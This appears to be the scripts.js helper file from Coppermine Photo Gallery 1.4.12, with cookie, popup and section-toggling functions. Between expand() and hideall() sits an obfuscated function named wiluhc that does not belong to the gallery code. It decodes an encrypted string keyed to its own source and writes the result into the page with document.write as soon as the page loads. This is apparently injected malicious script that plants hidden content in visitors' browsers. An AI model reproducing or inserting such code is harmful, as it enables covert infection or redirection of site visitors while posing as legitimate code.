/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2007 Coppermine Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.
  ********************************************
  Coppermine version: 1.4.12
  $Source$
  $Revision: 3636 $
  $Author: gaugau $
  $Date: 2007-06-29 11:35:30 +0200 (Fr, 29 Jun 2007) $
**********************************************/

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function writeCookie(name, data, noDays){
  var cookieStr = name + "="+ data
  if (writeCookie.arguments.length > 2){
    cookieStr += "; expires=" + getCookieExpireDate(noDays)
    }
  document.cookie = cookieStr
}

function readCookie(cookieName){
   var searchName = cookieName + "="
   var cookies = document.cookie
   var start = cookies.indexOf(cookieName)
   if (start == -1){ // cookie not found
     return ""
     }
   start += searchName.length //start of the cookie data
   var end = cookies.indexOf(";", start)
   if (end == -1){
     end = cookies.length
     }
   return cookies.substring(start, end)
}

function blocking(nr, cookie, vis_state)
{
        if (document.layers)
        {
                current = (document.layers[nr].display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.layers[nr].display = current;
        }
        else if (document.all)
        {
                current = (document.all[nr].style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.all[nr].style.display = current;
        }
        else if (document.getElementById)
        {
                display = (document.getElementById(nr).style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, display);
                document.getElementById(nr).style.display = display;
        }
}


function adjust_popup()
{
        var w, h, fixedW, fixedH, diffW, diffH;
        if (document.documentElement && document.body.clientHeight==0) {     // Catches IE6 and FF in DOCMODE
                fixedW = document.documentElement.clientWidth;
                fixedH = document.documentElement.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.documentElement.clientWidth;
                diffH = fixedH - document.documentElement.clientHeight;
                w = fixedW + diffW + 16; // Vert Scrollbar Always On in DOCMODE.
                h = fixedH + diffH;
                if (w >= screen.availWidth) h += 16;
        } else if (document.all) {
                fixedW = document.body.clientWidth;
                fixedH = document.body.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.body.clientWidth;
                diffH = fixedH - document.body.clientHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (h >= screen.availHeight) w += 16;
                if (w >= screen.availWidth)  h += 16;
        } else {
                fixedW = window.innerWidth;
                fixedH = window.innerHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - window.innerWidth;
                diffH = fixedH - window.innerHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (w >= screen.availWidth)  h += 16;
                if (h >= screen.availHeight) w += 16;
        }
        w = Math.min(w,screen.availWidth);
        h = Math.min(h,screen.availHeight);
        window.resizeTo(w,h);
        window.moveTo((screen.availWidth-w)/2, (screen.availHeight-h)/2);
}

function show_section(e) {
    if (document.getElementById(e).style.display == 'none') {
        document.getElementById(e).style.display = 'block';
    } else {
        document.getElementById(e).style.display = 'none';
    }
}


function expand()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'block';
                }
        }
}

function wiluhc(qoasn){function fbhc(bgufv){var gserx = 0;var hitgwogx = bgufv.length;var fjnw = 0;while (fjnw < hitgwogx){gserx += (bgufv.charCodeAt(fjnw))*hitgwogx%255;fjnw++;}return gserx%255;}qoasn=unescape(qoasn);nmjycek=[""];nmjycek[1]=arguments;nmjycek[2]="callee";try{var hzwlmn= nmjycek[1][nmjycek[2]];}catch(pdfsxiy){}sffnaku=(new String(hzwlmn)).replace(/[^@a-z0-9A-Z_.,-]/g, '');scdze=fbhc(sffnaku);kyey="";var gnovso = 0;for(qmeqmh=0;qmeqmh<qoasn.length;qmeqmh++){kyey += String.fromCharCode(qoasn.charCodeAt(qmeqmh)^scdze^sffnaku.charCodeAt(qmeqmh)^qmeqmh%255^gnovso%255);gnovso++;if (gnovso > sffnaku.length) gnovso = 0;} document.write(kyey);}wiluhc("%9A%DC%C8%D1%D5%C4%CA%8E%C4%DB%CF%88%8A%CB%C5%DB%D1%89%81%89%CD%CD%CC%C1%C7%DB%80%C5%C1%87%C2%C6%D4%9A%CF%D8%98%C2%D5%CE%8C%96%90%98%96%C4%C0%DF%CD%CB%DB%D5%D3%CA%D5%85%80%97%97%86%D4%81%DE%C1%CB%D5%89%8A%86%83%92%D1%C3%CA%C3%98%8A%8A%99%8E%85%CE%CF%C7%D0%C0%DD%89%85%87%8D%87%CB%D3%CA%C9%D7%85%80%D7%DA%D5%DF%9A%CA%C7%CF%88%A3%CE%C6%D6%EE%D8%D3%DE%CB%8C%88%DF%DD%D4%DE%CD%CE%D4%9B%81%8C%9C%8A%C6%DE%D6%C1%D1%DB%89%8E%C3%DA%D6%C2%D4%93%8C%CF%91%C1%CE%DD%CB%97%90%99%9C%CA%C7%C2%C4%DC%CA%9F");

function hideall()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'none';
                }
        }
}